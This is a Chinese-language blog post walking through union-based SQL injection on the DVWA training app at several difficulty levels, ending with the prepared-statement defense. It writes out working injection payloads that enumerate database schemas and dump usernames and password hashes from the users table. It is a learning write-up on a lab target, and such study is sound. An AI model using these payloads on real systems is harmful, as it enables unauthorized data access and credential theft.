DVWA SQL Injection - 联合查询

目标

就我现在的理解 2022年1月26日 20点43分 SQL 注入就是寻找到注入点(使得 SQL 任意代码可执行)以及回显方式(将代码执行的结果可视)

常用的查询如需哎

1、获取所有数据库名称:select SCHEMA_NAME from information_schema.SCHEMATA

2、获取目标数据库所有表名:select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dvwa'

3、获取目标表所有字段名:select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'

4、字段 + 回显得到输出:如何回显是我们需要做的工作

可以联合查询的 SQL 注入

DVWA 环境中 SQL Injection 模块是一个较为入门的注入方式,回显方式直接告知,我们所需要做的就是寻找注入点

1 寻找注入点

就我现在的感觉来看,如何尝试没有那么多为什么,都是根据经验以及所学而来,比如我只了解过闭合单引号,注释掉后方语句的 SQL Injection 技巧那么我肯定就会先去尝试

1' union select 1, 2 # 1' union select 1, 2 --

#-- 是 SQL 中的注释方式,不过有时候 # 可能会与 URL 冲突(比如 Hacker Bar 中),这时候可以尝试转码或使用 --

原理

这里的漏洞在于开发者没有或没有充分的对用户输入的数据 (id) 进行过滤,默认用户输入的只可能是有意义的字符串信息,因此直接将其拼接到后续要执行的 SQL 语句中:

$id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

内容一拼接可以得到

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, 2 # ';"

进而实现了联合查询方式的 SQL Injection

2 获取所有数据库名

1' union select 1, schema_name from information_schema.schemata --

3 获取目标数据库所有表名

根据步骤 2 的结果,我们将目标数据库定为 dvwa

1' union select 1, table_name from information_schema.tables where table_schema='dvwa' --

4 获取目标表的字段名

根据步骤 3 的结果,我们将目标表定为 users

1' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users' --

5 获取目标数据

根据步骤 4 的结果,我们想要获取的数为 user 以及 password

1' union select user, password from users --

难度提升 - Medium Level

将难度提升到 Medium Level 后发现没有明显的注入点了:不让用户自定义输入数据了(你不是乱玩吗,我限制你的输入,让你只能选我给你提供的白名单):本质上是对用户输入的信息进行过滤

但是一些疏忽的开发者还是会留下漏洞,比如前端做了白名单限制后端却没有检查;后端在没有检查的情况下对用户数据完全信任,从而暴露漏洞

查找注入点

通过浏览器自带的调试工具,定位到目标请求,果不其然,这是通过 POST 传递的 ID 参数

我们通过 Hacker Bar 即可伪造请求,实现注入:

按照之前的方式报了错,相关信息如下 to use near '\' union select 1, 2 --' at line 1 可以看出我们输入的 1 没有问题,而是从 1 后面的单引号开始报的错并且它是被转义处理过的,看来 Medium 等级应该还对单引号进行了处理,到这小白我也没啥思路了,只能看看源码得知,去掉单引号即可:

if( isset( $_POST[ 'Submit' ] ) ) { $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

在这里马后炮一下,开发者使用 mysqli_real_escape_string 转移了单引号等字符,那么为何在拼接时不使用单引号将 &id 包裹呢?正是这一点也让联合查询注入方式再次成功!

id=1 union select version(), database() -- &Submit=Submit

难度提升 - High Level

High Level 分离了提交查询的界面与内容回显的界面,但是针对我们手动注入来说,这没有什么大碍,像 Low Level 一样即可实现注入:

而查询与回显的分离是为了对抗 sqlmap 等自动化注入工具,让这些工具无法获得反馈而失效或难以利用

Impossible

$id = intval ($id); $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }

1、首先 intval 相当于做了一个白名单过滤,保证 id 必为数值
2、使用 PDO (PHP Data Object) 一方面统一各个数据库查询接口,另一方面实现代码和数据的分离处理,更加安全
3、最后为了防止未知的托库,这里类似实现了一种入侵响应,即提高利用的难度,如果真的破解了前面的防护,在回显时我也只能最多给你回显一条信息 if( $data->rowCount() == 1 )


__EOF__

本文作者YiMeng
本文链接https://www.cnblogs.com/DF-yimeng/p/15848268.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Butterflier  阅读(317)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示